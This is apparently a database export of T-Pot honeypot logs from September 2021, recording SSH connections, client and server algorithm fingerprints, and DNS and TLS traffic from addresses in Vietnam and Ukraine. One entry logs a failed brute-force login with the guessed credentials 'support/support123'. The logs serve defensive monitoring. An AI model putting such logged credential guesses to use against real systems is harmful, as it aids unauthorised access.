"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22602	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:07:10.161052+03	2021-09-20 14:15:06.4235+03	{"_id": "uQbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "824890bfdffa", "@version": "1", "duration": 1.340667724609375, "timestamp": "2021-09-20T11:07:10.161052Z", "@timestamp": "2021-09-20T11:07:10.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22603	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:10.251704+03	2021-09-20 14:15:06.424502+03	{"_id": "ugbjAnwBvYTbRNuEawc5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24282, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2111347594549048, "@version": "1", "in_iface": "enp5s0", "src_port": 50029, "dest_port": 53, "timestamp": "2021-09-20T11:07:10.251704Z", "@timestamp": "2021-09-20T11:07:10.251Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22604	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:10.127709+03	2021-09-20 14:15:06.426471+03	{"_id": "vQbjAnwBvYTbRNuEawc5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 690046279468405, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34334, "dest_port": 22, "timestamp": "2021-09-20T11:07:10.127709Z", "@timestamp": "2021-09-20T11:07:10.127Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22607	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:10.8693+03	2021-09-20 14:15:06.4305+03	{"_id": "ywbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 18 seconds", "session": "0f30c03f99b2", "@version": "1", "duration": 18.433515787124634, "timestamp": "2021-09-20T11:07:10.869300Z", "@timestamp": "2021-09-20T11:07:10.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22608	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:10.144916+03	2021-09-20 14:15:06.431507+03	{"_id": "2gbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34334, "dest_port": 22, "timestamp": "2021-09-20T11:07:10.144916", "@timestamp": "2021-09-20T11:07:10.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22609	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:10.301305+03	2021-09-20 14:15:06.4325+03	{"_id": "2wbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34788, "dest_port": 443, "timestamp": "2021-09-20T11:07:10.301305", "@timestamp": "2021-09-20T11:07:10.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22610	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:10.421201+03	2021-09-20 14:15:06.4335+03	{"_id": "3QbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40736, "timestamp": "2021-09-20T11:07:10.421201", "@timestamp": "2021-09-20T11:07:10.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22611	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.706844+03	2021-09-20 14:15:06.4355+03	{"_id": "0wbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0543f1973e1e", "@version": "1", "timestamp": "2021-09-20T11:07:10.706844Z", "@timestamp": "2021-09-20T11:07:10.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22612	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:10.787412+03	2021-09-20 14:15:06.436502+03	{"_id": "1AbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [support/support123] failed", "session": "b6e45bc001e5", "@version": "1", "password": "support123", "username": "support", "timestamp": "2021-09-20T11:07:10.787412Z", "@timestamp": "2021-09-20T11:07:10.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22613	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.157512+03	2021-09-20 14:15:06.4375+03	{"_id": "4QbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6cf2d482c0d0", "@version": "1", "duration": 3.665961265563965, "timestamp": "2021-09-20T11:07:11.157512Z", "@timestamp": "2021-09-20T11:07:11.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22614	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:11.462477+03	2021-09-20 14:15:06.4385+03	{"_id": "4gbjAnwBvYTbRNuEbwci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1858189337243155, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38188, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.462477Z", "@timestamp": "2021-09-20T11:07:11.462Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22615	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:12.802114+03	2021-09-20 14:15:06.440472+03	{"_id": "FQbjAnwBvYTbRNuEcwgJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1407623645676496, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60100, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.802114Z", "@timestamp": "2021-09-20T11:07:12.802Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22616	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.093896+03	2021-09-20 14:15:06.4415+03	{"_id": "BwbjAnwBvYTbRNuEiAkH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54308 (192.168.176.2:22) [session: e73a41285afe]", "session": "e73a41285afe", "@version": "1", "protocol": "ssh", "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.093896Z", "@timestamp": "2021-09-20T11:07:18.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22641	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:19.847551+03	2021-09-20 14:15:06.4745+03	{"_id": "nAbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58238 (192.168.176.2:22) [session: 779eb8f4bb9e]", "session": "779eb8f4bb9e", "@version": "1", "protocol": "ssh", "src_port": 58238, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.847551Z", "@timestamp": "2021-09-20T11:07:19.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22617	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.773731+03	2021-09-20 14:15:06.4425+03	{"_id": "DgbjAnwBvYTbRNuEiAkH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", 